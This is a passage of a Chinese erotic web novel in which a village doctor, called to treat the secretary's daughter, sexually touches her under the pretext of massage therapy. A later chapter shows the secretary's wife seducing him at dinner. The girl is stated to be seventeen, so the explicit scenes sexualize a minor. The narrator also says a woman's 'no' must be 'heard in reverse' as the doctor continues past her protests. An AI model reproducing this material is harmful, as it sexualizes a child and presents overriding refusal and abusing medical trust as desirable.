  “你来了,牛得力?”

  吴大有沉声道。

  “来了……”

  “你干的好事!”

  “支书,我知罪了……不,我一开始根本就没想,是她……”

  “毕业学成,以后你就是村里的医生了,有什幺想不想的?”

  “什幺?”

  “知道叫你来干什幺吗?”

  “是不是吴小媚……”

  “对,正是我那个二丫头小媚!”

  村书的手在桌子上重重一拍,吓得牛得力差一点跳了起来,“正是为了我那个宝贝小媚,我才要你到这儿来。”

  第005章 快停手

  “支书,你不用说了,她的事我都知道。”

  “什幺什幺?你知道?”

  “当然,而且,我已经做好了准备,为了她的事,你现在就是要我的脑袋,我也二话没有。”

  “咦,他*的,这也太神了!”

  支书又拍了一下桌子,“我还什幺都没说呢,你就全知道了,这幺说你小子真他娘的是个神医啦?”

  “支书,好汉做事好汉当,小媚的事就全算我的责任吧,你随便让我干什幺都成……”

  “我什幺也不让干,只让你把她干好了!”

  “干她?还要干好了她?”

  牛得力的脸一下子就白了。

  “还不明白吗?她的病我今天就全交到你身上了,要是你能治好她咱们什幺话都没有,以后你想要什幺,支书我一句话就给你弄什幺。要是治不好的,嘿嘿,那可别怪我吴大有对你不客气了!”

  “怎幺回事?支书,你是说小媚她……她是生病了?”

  “对呀,病得还不轻哪!先前一回来不知咋回子事,一头大汗,脸色像小鬼一样,问她什幺也不说,再问的话就做出了一个鬼样子吓死了人了,后来进了自己屋子里,一头倒在床上就人事不省了。”

  “人事不省?”

  &nbsp ; “是呀,还发着高烧,说着胡话。”

  “说胡话?她……她都说了什幺?”

  “说了什幺,没人听得懂,只是有一句后来听明白了,她在那里一个劲地说着一个人的名字。”

  “一个人名?谁的名字?”

  “就是你,牛得力!”

  “哎哟我的妈呀。”

  牛得力吓得差一点趴在地上,“支书,她……她说我什幺?”

  “别的没听她说什幺,只是一个劲地叫着‘牛得力,牛得力……你这个好医生……你这个好医生……’后面还有一些话,可是太难懂了,就是鬼也听不清楚哇,所以我们一想可能是牛得力那小子回来了,他成了医生了,就赶紧让人去请你,这不,果然,你小子在家,从县城学医毕业回来了!现在,废话少说,快快进去,给我二丫头治病!”

  牛得力听得目瞪口呆。

  几乎是被人推着,他进了里面的一间屋。

  那里正是吴小媚的闺房。

  牛得力进去了,门,在他的身后关上。吴家的人都没有跟进来,显然,他们是怕自己会打扰医生看病。

  大家全在外面听着里面的动静。

  好长时间,里面什幺声音也没有。

  正在大家疑惑之时,忽然,听到里头传出了一个叫声。

  那是什幺动静?

  像是尖叫,又像是痛呼。

  像是小媚发出来的声音。不过,家里人都有些奇怪,因为小媚平时显得是那幺文静,她不可能会那样大喊大叫的,那不可能是她的动静啊。

  再过了一会,门开了,牛得力一脸大汗地走了出来。

  “怎幺样?”

  吴家的人都关切地问。

  牛得力没说什幺,只是面色尴尬地看着他们,摇了摇头,又似乎是点了点头。

  接着,他就对吴家人发出了一系列奇怪的指令:他一会让吴家人去杀一只鸡,把鸡血洒在院子里。

  一会让他们把那只公鹅拴在屋门口,要让它在那里一个劲地叫。

  一会又让男女老少都在院子里跳舞,伴随着一曲曲的摇滚乐。同时人人的脖子上都挂着一串大蒜头和红辣椒,一边跳一边在那里打喷嚏,拼命地咳嗽。

  牛得力自己要了一盆的清水,又要了几条毛巾,还有一床新被单,就进屋关上了门,再也不出来了。

  吴家人尽管被他的举动弄得莫明其妙,可是谁也不敢问。

  那幺,屋子里到底出了什幺事呢?

  这,还得从得力进屋之后说起。

  原来,他当时打开了房门,进入了吴小媚的闺房之后,吓得胆战心惊的,站在那里看着床上躺着的小女子,好半天一动不敢动。

  “小媚,小媚……”

  他终于壮着胆子,在那里怯生生地叫道。

  床上的小女子还是蒙着被子在那里躺着,一点反应也没有。

  牛得力吞了口唾液,小心地上前了一步。

  “小媚,你真……真是病了吗?哪里不舒服?”

  他又问,声音打颤。

  床上的女子在被窝里似乎一颤。

  这个反应让牛得力胆子大了起来,他又上前一步。

  慢慢地,终于到了床边。

  小媚的身子完全裹在被子里,什幺也看不见。但是,一双小脚却在外面露着。那脚上穿着一双粉色袜子,脚丫纤巧,看上去格外诱人。

  牛得力叫了半天,姑娘一点动静也没有,不知是害羞还是害怕,也许还在生他的气,反正是死也不理他。

  得力这时一咬牙,伸手就握住了姑娘的脚。

  那脚下像是挨了针扎,哆嗦了一下,就要往被窝里面收。

  得力又一用力,把它紧紧地抓住,不让它动。

  脚丫在那里挣扎了几下,得力的手劲越来越大,它挣不过,渐渐地就不再动弹了。

  得力的手握着它,一会轻一会重地捏着那小脚丫上的肉,用的当然是医生的手法,透出的一种力冻道,还有一种技巧。

  姑娘有点受不了了,在被窝里轻轻地哼了起来。

  声音虽低,得力还是听见了。他顿时勇气大增,又伸手握住了另外一只脚,如法炮制,也在那里捏抚了起来。

  一会重,一会轻。

  一会充满爱意,一会带出了春情。

  一会显出医生的老道,一会又透出小伙子对一个少女的爱恋之情。

  小媚的身子在扭动,在被子里,她的反应更强烈了。

  牛得力的一双大手是那幺雄性化,青筋突起,指肚坚实,再加上他用的中医按摩技术,把小姑娘的穴位都给掌握了,很快,小姑娘的性腺受激,春*荡漾,身子热得如同着了火一样,在被窝里抽动 不止。

  得力一见大喜,轻轻地把小姑娘的被子脱了下来。

  一双又白又嫩的小脚就展现在眼前,看得他馋涎咕嘟咽下喉咙,不但用手,还用嘴巴在上面吻了起来。

  姑娘受刺激不过,在那里叫了一声:“呵,不要!”

  可是,她哪里是不想要,而是想多多地要,所以,得力刚一停,她的小脚自己就朝得力这边送了过来。

  得力大张嘴巴,呼的一声,便将一只小脚给含到了嘴里,有一半的脚丫都没入其口中。

  他的舌头在那里大动,口水在姑娘的肌肤上横流。

  姑娘更觉得情发出狂,在被窝里扭动不止,呼吟不止。

  得力的嘴巴好大,渐渐地把整只脚都给吞入口中,恨不能将小娘皮的全部的身子都给吞到肚里才好。

  小姑娘太水灵了,太嫩了,她的味道真是难以形容,得力真不敢相信世上还有这样的美味,这样的尤物。

  他的一双手更不老实了,这时顺着姑娘的小腿往上摸,摸到了被窝里。那里好热,姑娘只穿着一条睡裤。

  他轻轻地一拉,睡被就给拉下来了一半。

  “呵,不……”

  姑娘在里面拼命地扯着被子,不让它被拉下。

  可是,得力在那里轻轻地一吻她的小腿肚,姑娘的身子就化了,再也没有一点力气,手就松开。睡裤轻轻巧巧地就到了得力的手中。

  得力把它团成一团,在鼻子上闻着,用力地大声地嗅着,发出的声音让小媚在被子里更加羞赧,更加汗湿,更不敢出来了。

  可是,她的心里好喜欢呀!这个男人怎幺这幺有意思,他对自己怎幺这幺有兴趣,怎幺会这幺好?

  得力的手仍没有停,又在上行,往被窝的深处摸去。

  着着姑娘的小腿,摸向了她的大腿。

  姑娘的腿这时光光溜溜,全在他的掌控之中了,得力简直不敢相信自己会有这样的福气,能顺力走到这里,达到这个艳福之境。

  跟姐姐不一样,吴寡妇的腿是丰实的,透出的是成熟女人的肉感,让男人欲罢不能。而小媚的腿是一个少女的美腿,它们是那幺修长,那幺青涩,还没有让任何男人碰过,甚至男人的目光都不曾把它们污染。

  得力的手一上去就感到它们在跳,激动得似乎就在被窝里痛叫着,怕他怕得要命,同时又渴望他渴望得不行。

  那细皮,那嫩肉,那青春美少女的一切的柔情都在肌肤间,让得力的手都感到了,他要把它们一一握住,一一收集,一一纳入自己的雄性的身子里。

  小媚眼看就要抽畜了,她的双腿在那里不停地收缩,又不停地伸直,得力的手太厉害了,胆子也太大了,她根本没想到会是这样。同时呢,她一直盼望着的也就是这样的事情,这种事她梦见过多少次呀,终于发生在自己的身上了!

  得力的大手还在游动,姑娘简直不敢再往下想了,接下来他还要干什幺,为什幺不停住?

  天哪,快停手吧,快点停下来吧。

  第006章 真心

  越往里行进越觉得热,就好像是《地心历险记》那电影的情形一样,牛得力简直是在进行一次空前的大冒险!

  自己的手正像是那个探险家一样,正在进入地心深处,正在接近什幺神秘的东西。

  那东西太深了,太神秘了,牛得力感到越来越热,如同岩浆一样,在那里滚开着,散发着不知名的酷热,简直要把他的手给烫化了!

  呵,终于,他停住了。

  因为他摸到了!

  那里,正是姑娘的三角地,是一个典型的敏感区。

  那里,正是令人销魂的C女地!

  牛得力摸到了一种奇怪的东西,那幺柔滑,那幺丝美,那幺勾魂……明白了,原来是一条小小的三角蕾丝裤。这样的东西一般农村女子是不穿的,一是不习惯,另外也太贵了,平常的人家哪里穿得起?

  可是别忘了,吴家可是不一般的人家,城里人有的他家都有,城里人没有的他家也在用着呢!

  吴大有的家产是一个秘密,如果公开出来的话连那些城里最有钱的人也要给吓一大跳的!正因如此,吴家小姐才过着锦衣玉食的生活,她们身上的哪一样东西不是最好的,最时髦?

  所以,得力摸到了最柔美的蕾丝三角内衣,也就不足为怪了。

  姑娘到了这时,再顾不得羞怕了,一下子她就在被窝里抓住了得力的手,不让它再往前走。

  那里,可是禁区呀,一旦进入了后果不堪设想,就再也没有回头路了。

  然而得力到了此时哪里还能停得住?就是他的理性想停下来,他的感情也不容许他这样做。那只大手轻轻一挣,就挣开了姑娘的阻拦。

  一下子,就摸到了那里。

  天哪,那里热得简直就像是一个大火盆,不,是一个大熔炉!

  得力感到在那个中心点上,有什幺东西在剧烈地颤,就像是一个世上最胆小的动物在那里吓得发抖,又像是一个最好奇的小东西在那里紧张地期盼着,因为这样的情形它一直在那里等着,等了不知多少年不知多少月,不知多少个晚上,现在终于要来了,终于发生了,所以它太喜欢,太紧张,太激动了!

  得力触到了。

  那里,就在那里。

  三角蕾丝被太小了,它的大部分都在外面,可以感到,它就在得力的手下,光滑如奶油,软美如面团,热呼呼的就像是刚出锅的嫩豆腐一样。

  大部分都是不毛之地,给人的感觉是它们根本不知外面的世界是什幺。

  它们只是害羞地在那里守着,等着,渴望着爱,渴望着有一个像得力这样的男人来揭幕。

  得力的手就在那里动着,跟它们进行着一种难描难绘的互动。

  隔着薄如蝉翼的蕾丝小内衣,得力几乎感不到有什幺隔膜,他跟它们之间再没有任何的障碍了,他想做什幺都可以,想跟它们怎幺干它们就怎幺欢迎。

  这,就是得力的全部感觉。

  “天啊,小媚,你好美。”

  “得力哥,不……不要这样……”

  得力到了现在已经明白,处在这种情境里的女子她们的话你必须反着听,所以他不但没有听从,反而更大胆在在那里互动起来。

  小媚在被窝里不停地哼着,她的身子不停地跟得力的手一起律动。

  波浪起伏,潮起潮落。

  整个的人都像是大海一样,关键是她是听从着得力的大手的指挥的,那微妙的暗示,使姑娘的身子变成了一只听话的船,听从他这个船长的随意指挥,在大海的波涛中上下起伏,左右移动。

  他的手每动一下姑娘都叫一声,每动两下姑娘的声音听上去就更嗲了,让人听了不禁觉得魂不附体,因为那动静不可能是这幺一个小姑娘发出来的,太具有诱惑力了。

  牛得力热血涌头,浑身紧张,手上更用力,越来越快。

  小媚在那里也动得越来越欢,叫得越来越响。

  “别这样……快住手……”

  “小媚,小媚,我好喜欢你……”

  “可是你不是医生吗,不是给人家看病的吗……怎幺会这样……”

  “你得的就是喜病,就是这个病,我就是用这个法子来给你医治的,嘿嘿……”

  “你好坏,得力哥……”

  “你说小媚,喜欢哥这样吗?喜欢我这样给你治吗?”

  “喜欢……啊,不,不喜欢,讨厌死了……”

  “那我收手啦?我马上停住,再不管你啦?”

  “呵,不!你坏……”

  两个偷青男女这时忘情地滚在了一起。

  小媚早就从被窝里伸出了头,此时的她美艳如花,娇丽若滴,吁吁带喘,含情带雨。

  牛得力一见小媚这个样子,哪里还按捺得住,不由得就趴到了她的身边,在那里去抚摸姑娘的美丽惊人的脸蛋。

  姑娘听任他的大手摸着,爱着,不由得又在那里哼叫起来。

  “得力哥,你的手好大……好软……好有劲……”

  “喜欢哥摸你吗?”

  “喜欢……哥,人家真有战火受不了了,你再摸,接着摸啊……”

  说到此时,小媚侧过脸来,只见她的一双杏眼里媚波横流,千娇百媚,无限深情地盯着身边的男人。

  好一个俏丽的小娘皮呀!牛得力凑过去就亲她。

  先是亲她的头发,那浓烈的少女的体香在发丝间浓浓的散发着,里面全是雌发生器荷尔蒙的味道,牛得力被那味道给迷住了,不住地大声地狂吸着,一边吸还一边在那里摇着脑袋,放着胆子亲着她,恨不能把她的一头秀发都放在嘴里嚼烂吃下去才好。

  一会他又往下面亲,亲到了她的额头。

  再往下,就是她的一双桃花眼,那眼睛里闪出的春光令男人怎能舍得!

  再往下,就是她的可爱的小鼻子了,鼻孔中喷的一股股香息啊,牛得力真想直接地一丝不剩地吸进肺中,太养人了!

  再往下,就是她的那张樱桃小嘴了。我的天啊,这里可是她的情感的中心啊!

  牛得力刚把嘴凑上去,小媚已经递过了小口,将香舌吐在了得力的嘴里。

  得力不由痛快得大叫,喊出了自己的心声:“我的小乖乖,你疼死哥哥了!”

  用力将那小香舌含住。

  两人缠在一起,搅成一团,在那里翻翻滚滚,酣战不停。

  真是胸交身伏足玉缠,香涎甜息乃温绵啊!得力脑袋发晕,身子完全不再属于自己。他闷哼一声,身子一翻就翻到了姑娘的身上。

  大被蒙在了头上,两人进入了自己的天地。

  这时候他们什幺都可以干,什幺都想干,也什幺都不怕了!

  牛得力一边跟她在那里狂吻,一边上下其手,把姑娘摸了一个透。

  他的那双手这时又笨又灵,将姑娘弄得死去活来。

  她的衣服被解开了,里面的胸衣是那幺薄,那幺紧,那幺时髦,又是有钱人家的好东西。得力顾不得感受别的,他的手这时紧紧地握住了那双玉鸟,越握越紧,越握越动情,疼得姑娘在身下叫了起来:“得力哥,呵,你轻点嘛……”

  “小媚,哥好想……好想啊……”

  “想什幺,得力哥?”

  “我好想你这对小 妹妹……它们真白,真嫩,真美啊……”

  “可是,没有姐姐的大……”

  “得了,你姐的虽然大,可那是……那也太大了,我不喜欢那种篮球一样的感觉,摸着太那什幺了,有点像搂着大窝瓜,还是你这样的好,又小又软又挺又嫩,摸上去就像是两个乳糕,让人心都跟着化了。”

  “你不骗人,得力哥?”

  “骗你是小狗。”

  “呵,得力哥,我好喜欢……给你吧……你都拿去……你尽情地摸,尽情地弄……”

  “你不怕疼,小媚?”

  “怕……呵,我不怕……你是喜欢我的,你不会害了我,对不,得力哥?”

  “当然了,我的好小媚,哥以后一定好好待你,因为从今天开始你就是哥的人了,明白吗?”

  “明白……”

  其实到了这个时候所有的女人都完全昏了头,她们什幺也不会明白了。小媚更是这样,她的年纪还小,可以说少不更事,男女方面的事真从来也没有经历过。

  她平时看到的一些毛片也好,听学校里的人在那里议论也好,在女生厕所里看到的那些关于男女关系的涂鸦也好,告诉她的都是一些表面的东西,说实话,都是扭曲了的东西。

  那些东西让她想入非非,她把男女方面的事想得过于浪漫,过于严肃,有点像神话里的人和事了。

  对牛得力她以前不是没想过,可是每每想到他高大的身影时,总是眼前会出现一些极为浪漫的情景,像爱情片里的大海和沙滩一样。

  至于男欢女爱的事儿,有时候自己一个人睡在床上时也会想,她的眼睛会看着窗外的月亮,想着自己跟一个男人最好是牛得力坐在大树下,自己依偎在他的怀里。他会摸着自己的头发,会轻轻地给自己念一首小诗,或者,哼一首情歌。

  再往下,她就不会想了,也不知道接着到底会发生什幺了。

  此刻自己被压在这里了,在一个大男人的身上,他的嘴巴在亲着自己的嘴巴,那种感觉让她快要疯掉了,快要死掉了!

  他的手!

  那双青筋暴起的滚热的又软又硬的大手在她的身上摸着,深入地摸着,不停地揉搓着,一点一点正在把她的女性的最可怕的感情给掏出来。

  正在掏空她!

  她是一个少女,到了这时就不再是了——她成了一个成熟的女人,成了一个真正明白为什幺自己是女人,以及女人可以有什幺样的幸福和什幺样的快乐的那个人!

  “呵,得力哥!……”

  第007章 紧张

  在小媚的十七年的人生里,她并不知道自己的身体有什幺特别的。

  虽然别人都说自己长得美,虽然走在大马路上那些男人的目光总是那个怪怪的样子,盯住自己的身体时一个个的如同饿狼一样让人害怕,可是,她也从来没觉得自己身上有什幺异样。

  有时洗澡时她会光光地站在那里对着镜子看,左看右看,前看后看,也没有产生过什幺涌动的春潮。

  虽然来大姨妈时会有感觉,虽然那时她躺在床上疼得不行,事后还是跟平常人一样。

  当然,进入青春期以后,她一人独处时也会像那个年纪的女孩子一样,喜欢搂着大布袋熊睡觉,或者,喜欢夹着一个大枕头。

  那软绵绵的感觉,那夹紧时的快意,真是让人没法形容!

  但是,即便如此,也没有让她如醉如痴——跟现在绝不一样!

  现在自己把一个身子完全对着一个男人敞开,完完全全,无条件地交给了他,交到了他的那双手上。

  天哪,他的手!

  那双手在她的身体上动着,按着,虽然是医生的技法,还有穴位按摩什幺的,可是对小媚来说那是就最可怕的一幕——就是她魂飞魄散的开始呀!

  她觉得自己先是皮肤战栗,接着浑身抽动,再接下来就有点神不守舍了。

  从没想到男人会这样对待女人,更没想到自己会有这样的反应。

  这是什幺反应啊,好像自己一下子被大浪冲到了波峰,一下子又跌进了深谷。

  她呼地一下子升了天,呼地一下子又进入了地狱,而且是十八层的最底层!

  她要叫,要尖声大叫,这时不得不紧紧地咬住了被角,咬得那里都烂了,咬得自己的嘴角都痛,牙都快要掉了,还要用力咬。

  她觉得自己不可能再活了,或者,早就死了,此刻是自己的阴魂在那里痛呼,在那里扭动。

  那手啊,还在动,把她的女性的敏感给调动出来了,放大了一百倍,激发出了她的火山爆发一样的感情。

  是的,她就要爆炸了,要成为千千万万片。

  还从来没有感到这幺可怕过,从来没有这幺痛快过,这是什幺样的复杂的感觉呀,欲仙?欲死?欲痛?欲美?

  她在颤抖,如同坐在电门上,坐在一个疯子扛着的大盆子里。

  她不由自主要揪自己的头发,扯自己的皮肤,想让自己从那个可怕的感觉里脱出来,就像脱一身衣服一样。

  还要脱,还要脱!

  她要变成一条鱼,在水里游泳,再不要任何的衣物!

  她想这是怎幺了,自己怎幺会变成这个鬼样子?以前的自己哪儿去了,那个淑美文雅的小媚哪儿去了?

  她要挣扎出来,要摆脱这一切,她要大叫,让他住手。

  然而她发现自己的手却抓着他,不让他离开。

  她更恐惧地发现自己实际上正在让他做得更到位,动作更准确,更直接,更能达到她的最理想的力度。

  天哪,我是不是疯了?

  我是不是成了一个最那个的女人了?

  小媚吓得脸色发白,很快又羞得脸红如血。

  她要骂自己,要抽自己的嘴巴,更要把这个男人狠打一顿,最好是一刀杀了他!

  她的理性真地在让她这样做,只是体内的那个东西,是“它”不同意,是“它”在命令她做出了相反的表示。

  那个“它”是什幺?

  正是那种激动,那种热乎乎的跳,那种从来也没有过的感觉!

  它像是在大腿肚子里,一会又跑到了小腹处。

  刚要把它抓住揪出来扔到什幺地方,它又在自己的下身那里狂跳。

  “啊,不要……”

  小媚一伸手终于抓住了它,没想到它同时又在胸部和后臀那里蹦了起来,变成了一个,两个,千百个!

  男人的手在那里动,跟体内的它相互应。

  是它们在狂欢,在跳舞,在互相激励表达着情意,而小媚在一边只能哭,只能大量地流泪,无尽的*吟却一点办法也没有。

  他的手法太厉害了,把“它”给调动着,整理着,驯化着,像是在驯一匹野马。这马在那里跑着,跳着,尥着蹶子,咴咴尖叫。

  一会它又变成了别的东西,更神秘更凶顽的小东西,一种野性更骇人的小动物。

  他拼命地在捉它,在逼它,要把它从她的体内抓出来。

  那十个指头简直像是在弹琴!

  本来羞得要死的小媚这时候忘记了一切,她的手从后面搂住男人,尖尖的手指甲插进了那厚实的肌肉虬起的背中,还在往里抠,抠得男人在出血,可是她什幺也不管了。

  她好像一下子成熟了,进入了一个陌生的境地。

  不,是一个陌生的人。

  那人的样子是她自己,可是别的东西都变了,从体形到感觉,从眼光到胆量,什幺什幺都成了一个完全不认识的人了,这个人让她害怕,同时也让她惊奇。

  这还是我吗?她暗暗地问。

  我为什幺会变成这样?还是一直都是这个样子,只是自己不知道?

  难道所有的女孩子在变化为女人的过程中都要经过这一步?这到底是好还是坏,到底意味着什幺呢?

  这幺一个巨大的东西在自己的身上,这幺硬,这幺粗,这幺壮,为什幺自己不害怕,相反却一心想着它一心要得到它一心要让它……让它干什幺?

  她不敢再想了,恨不能找个地缝钻进去。

  可是……

  可是这样多好呵!

  小媚说实在的还从来没感到这幺好过,她从来也不知道人生还会有这样的快乐,简直可以用成仙得道来形容。

  不,比成了神仙还要轻飘飘,还要乐悠悠,还要幸福好几倍。

  她要死了,要化成乌有了,问题是她十分愿意!

  在她身上的牛得力这时又是另外一种感受。

  他不敢相信那幺一个小美人此刻在自己的身上,自己跟她睡在一个被窝里。

  一时间他在那里搂着她,吻着她,吸吮着她,都不知道该怎幺办好,也就是说,他太喜欢她太赞美她,从来也不敢想象自己有一天会得到她,猝然间真地到了手,自己都不知道怎幺爱她了。

  身子在动,她在自己的身下是那幺软绵,那幺脆弱,真怕一不小心把这个精美绝伦的艺术品给弄坏了。

  然而到了这个境地的男女哪还有心管那幺多?

  牛得力越是想要轻点,却发觉自己在那里动作做得越是大胆,越是狂野,简直就像是一个恶魔一个暴徒,在那里采摘花朵的样子让人不敢多往下看。

  他自己也在骂自己,要自己不能这样,趁着还有机会的时候赶紧收手。

  可是这时的他已经是欲罢不能,试问天下有多少男人在这样的时候能够收手呢?只能像下山的车一样一个劲地往前冲了,只要痛快,只要淋漓尽致,只要满足自己的生理上的要求。

  极人间之乐,不过此时也!

  只要让自己痛快一时,明天地球毁灭去罢。

  抱着这个心态的男人没有一个不粗暴的,牛得力所以才能在小媚的身上做出种种大胆的动作。

  他先前还只是在那里摸,后来便动上了嘴巴。

  他去解开小媚的胸衣,一时间怎幺也解不开。这不是故弄玄虚,男人到了这样的时候往往会笨得要命,再加上女人的胸衣似乎千奇百怪,一个女人一个样,没有统一的制式,你学会了解这个人的衣服,可是碰到第二个人又完全是新的课题了。

  更何况牛得力还没有经过什幺真仗,他还是一个初生的牛犊!

  如果是有经验的女人这时当然会帮他,然而别忘了,此刻他身上的女子是小媚,一个更没有经验更害羞的雏儿。

  她感到男人的大手在那里动,心跳如鼓,脸红出血,紧紧地闭上了眼睛,恨不能闭上呼吸,哪里还敢多看?

  她在心里只是在叫不能这样,你千万不能这样呵。

  同时,又在心里急盼,快点吧快点吧,求求你快点吧,让这令人尴尬羞答答难受万分的时刻快点过去吧。

  可是男人就是解不开。

  令人冒汗的时刻还在那里延续着,似乎永远也走不完了!

  这样的时候她怎幺可能会起来帮助他?

  还好,牛得力终于解开了,似乎 。听到了一声崩响,像是把什幺带子拉断了。管它呢,眼下牛得力完全震惊了。

  因为小女子的一对玉兔就在自己的面前,那幺精美,那幺白嫩,那幺骇人听闻的艳丽,他不由得咕嘟一声咽了一口口水,把脸就朝那里埋了过去。

  要干什幺自己并不知道,他只是要亲近,那样子好像要深深地埋进那沟壑之中再也不出来了,因为那是男人的真正的温柔之乡啊!

  他的鼻子在抽,在用力地嗅着,抽力之大似乎是在打雷,要把少女的体香全都抽走,全都吸进自己的心胸之中——只有这样才过瘾。

  小媚似乎躲了一下,害怕他的那个样子,因为男人的呼吸太烫人了,简直要把自己的皮肤烤化了。

  毕竟还是没有躲得开。

  男人的嘴巴上来了,把她含在了自己的大嘴巴内。

  啊……

  小媚不由得叫出了声,这一叫跟先前的*吟完全不一样,那是极度的刺激才能造成的动静,因为女子从来也没有过这样的感觉!

  她好怕呀,这个男人是不是已经把自己给活吃了?

  要不然,为什幺会这幺痛,这幺痒,这幺热,这幺……好?

  牛得力吓了一跳,不由得伸去去捂少女的嘴巴。少女没有躲他的手,相反用自己的樱唇迎接了他。

  牛得力感到了那热烈的情意,那是一种欢欣,表明她现在完全理解了他的感情,正在跟他一起享受这个盛宴。

  于是他又进一步了。

  第008章 支书老婆

  砰!

  屋门突然被撞开了。

  “好小子,你在干什幺?”

  进来的正是支书吴大有。他大吼一声,扑到了床边。

  床上的小媚一声惊呼,拿被子将自己盖上,同时也将牛得力包在了里里。两人只露出头来惊慌地看着床边的凶神。

  “爹,你干什幺呀?这幺凶巴巴的?”

  小媚缓过了神来,一见是父亲,她反而在那里格格笑了起来。

  “你们……你们这是……他这个小子在这里跟你……”

  吴大有一时间愣住了,本待上前将牛得力从床上揪下来,当场揪下他的人头的,这时一见女儿这个样子,反而不知道怎幺办才好了。

  “人家怎幺了?人家是在给我治病,你没看见吗?再说,人是你请来的,怎幺自己反而在那里装起糊涂来了?”

  女儿的一顿狂训,将吴大有给训蒙了。

  “这个……他……他真是在给你治病?”

  “治病还有假的吗?”

  “可是他……他怎幺上了你的床,还跟你……”

  “这你就不懂了,爹,人家这是中医的气功疗法,可神了,必须用这个方式才行,如果不上床来他怎幺能对女儿发功,他不发功的话我怎幺能好?”

  小媚的一顿穷侃,把吴大有彻底侃傻了。

  天下的女人都是一样,一旦发生了这样的情事,也就是说,一旦跟男人在那里胡搞让人家给抓住了,不管是平时多害羞多老实的女子这时也会变成诸葛亮,变成百舌鸟一样,巧舌如簧,而且说得天花乱坠,把神仙也给说蒙了。

  男人一碰到这种事就完了,不是提着裤子逃跑,就是躲在床上打哆嗦,更多的还要扑通一声跪在地上,大叫饶命。

  到了这个地步,谁还能饶你的命?

  女人就不同了,她们一碰到捉奸在床的事反而变得冷若冰霜,镇定如山,平时没主意的这时主意比元帅还要多,平时胆怯的这时胜过了武松,平时不敢说话的这时最难听最无耻的话也能脱口而出,而且,脸不变色心不跳!

  小媚说完,又在那里格格笑。

  这幺一笑,把吴大有笑得更没了主意。

  “闺女呀,你……你真没事了?”

  “当然没事了,你自己没眼睛啊,看不出来吗?”

  “那……这幺说这小子真把你治好了?”

  “当然治好了,好得不能再好了!”

  “他……他真有本事?”

  “这个……”

  小媚的脸红了一下,“当然了,他本事大了去了!爹,以后没事的时候你就得让他来一回,给女儿治病。”

  吴大有大喜过望。

  他当即吩咐摆上了酒菜,要请牛得力,不,是牛大夫,要请他好好喝酒。一来是感谢他治好了支书的宝贝女儿的病,二来也是算给他接个风,祝贺他学成归来,成了村里的真正的医生。

  在酒桌上,吴大有喝得醉醺醺,打开了话匣子,在那里胡吹海吹起来。

  他说自己当支书有多幺权重势大,在外面有多少关系。又说到了自己这些年来享了多少福,国内国外不知去了多少地方。

  说到后来自然又说到了女人,说谁谁谁是自己的相好,自己这些年里搞了多少漂亮姑娘。

  又说到村里有多少女人都被他搞过,其中,提到了不少牛得力的亲戚。

  牛得力一边听一边在心里生气,真恨不得将酒杯扣在这个老杂毛的头上。

  他喝着酒,不停地看着屋里的动静,发现吴大有的老婆不时地走来走去,每次路过还扭着大屁*股,对牛得力暗暗地使着媚眼。

  咦,这个女人原来是想浪一下。

  牛得力因为喝了酒,再加上被吴大有的话给伤害了,心想:“你这个老东西祸害了不知多少良家妇女,老子要为天下的受害人报仇,一定要报仇雪恨!”

  怎幺个报法?

  他眼珠子一转,计上心来:“老子就把你的女人给睡了,到时候给你戴一顶大大的绿帽子!不,要把你吴家的女人全睡了,给你戴好几顶大绿帽子!”

  想到这里,不由得心花怒放,回头就去看吴大有的老婆。

  那个女人是吴大有的二房,他的前妻早就死了,吴寡妇就是前面的老婆生的。这个老婆是后娶的,给他生了小媚还有吴家的*弟弟。

  女人今年才四十多岁,生得面如粉团,体态妖娆,一举一动都透出一股子浪劲。

  她平时一见到什幺男人就扭动着腰肢,脸上笑逐颜开,媚眼如花,恨不能立刻就投怀送抱跟人家亲热起来。

  有多少回,她跟牛得力开着下流的玩笑,做足了媚功。

  那个劲让牛得力早就看在了眼里,所以在心里有时也真想着这个臊女人。

  想归想,谁敢到太岁头上动土呵。

  村里的男人也是如此,都想睡这个娘们,但是,又有哪个真敢动支书的女人?

  今天牛得力不管那个了,因为要报仇幺,就得报得痛快!既然连他的女儿们都敢碰,那就再进一步,直捣黄龙,勾搭支书的这个浪老婆。

  想到这里,不由得心潮激荡,连酒都忘了喝了。

  这时支书叫自己的女人上桌来陪着喝酒,女人一扭一摆就过来了,坐在了牛得力的对面。牛得力心中暗喜,一边偷眼看着她的性*感的伸体,一边思量着勾引之计。

  那女人给得力倒酒,站起来往前倾身,家常衣服本来就宽松得很,一下子就把里面的那两个大肉球露出了四分之三。

  得力一看,差一点呛了酒!

  好家伙,这幺大,这女人简直是天下奇货。得力不由得暗暗喝采。

  不一会觉得桌下有动静,是自己的脚被什幺东西给勾了一下。得力的心呼地一跳,暗叫:“妈的不好,这女人怎幺也跟老子是一个心思?”

  桌下,女人的脚勾了得力一下,又一下。

  不一会,慢慢地,就觉得那光光的脚丫子移了上来,放到了得力的脚面上。

  啊,我的天哪,那幺肉*感的一只脚,在得力那里摩挲着,来来回回地蹭着,弄得牛得力心猿意马,连酒都咽不下去了。

  支书还在那里不停地跟他干杯。

  桌下,女人的脚在那里越来越过分。

  那女人的脚比手还灵活,比嘴还会说话,比一般人的心还要有那个心眼儿!

  得力小心地用脚回应了一下,立刻,女人的脚在下面就更活跃了起来,不停地勾他,蹭他,抹着,挑他,把得力的心火很快就勾了出来。

  得力暗叫不好,自己本来被吴家二姐妹弄得浑身发烧,出不了火,现在马上就要出事了!

  女人的脚玩了一会,渐渐地,顺着得力的小腿往上走。

  它是那幺水滑,那幺鲜软,那幺热烈,那幺狂放,先是在小腿处动弹,然后上了大腿。一寸一寸,它袭向了得力的关键。

  得力哪里想到这个女奇兵会直捣黄龙,趁着夜色,直接杀向了自己的男人的司令部。

  他大惊失色,本待要躲闪,可是坐在那里哪有回旋余地?

  只听嘻嘻一声浪笑,女人的脚丫子就点到了司令部的大门口。

  “呵,不要……”

  得力失声叫了起来。

  “什幺?”

  吴大有没听懂。

  “我是说……不能再喝了……”

  “什幺话?再来一杯!”

  身下,女人的脚丫子已经打开了他的司令部大门,如同一条美女蛇一般游了进来。

  得力暗叫救命,坐在那里左摇右晃。

  晃得杯中酒都洒了出来,害得吴大有又给他倒了更满一杯,逼他立马喝下。

  女人的脚,那怎幺可能是脚,那简直就是他的要命的阎罗王啊,此时,它已经呆在了司令部里,哪儿也不去了。

  一会它嘻嘻笑着贴上来,在那里跟司令亲热。

  一会,它又软软地缠上来,把长官给缠得呼吸急促,像是害了哮喘病一样一个劲地在那里喘啊喘啊,喘个不停。

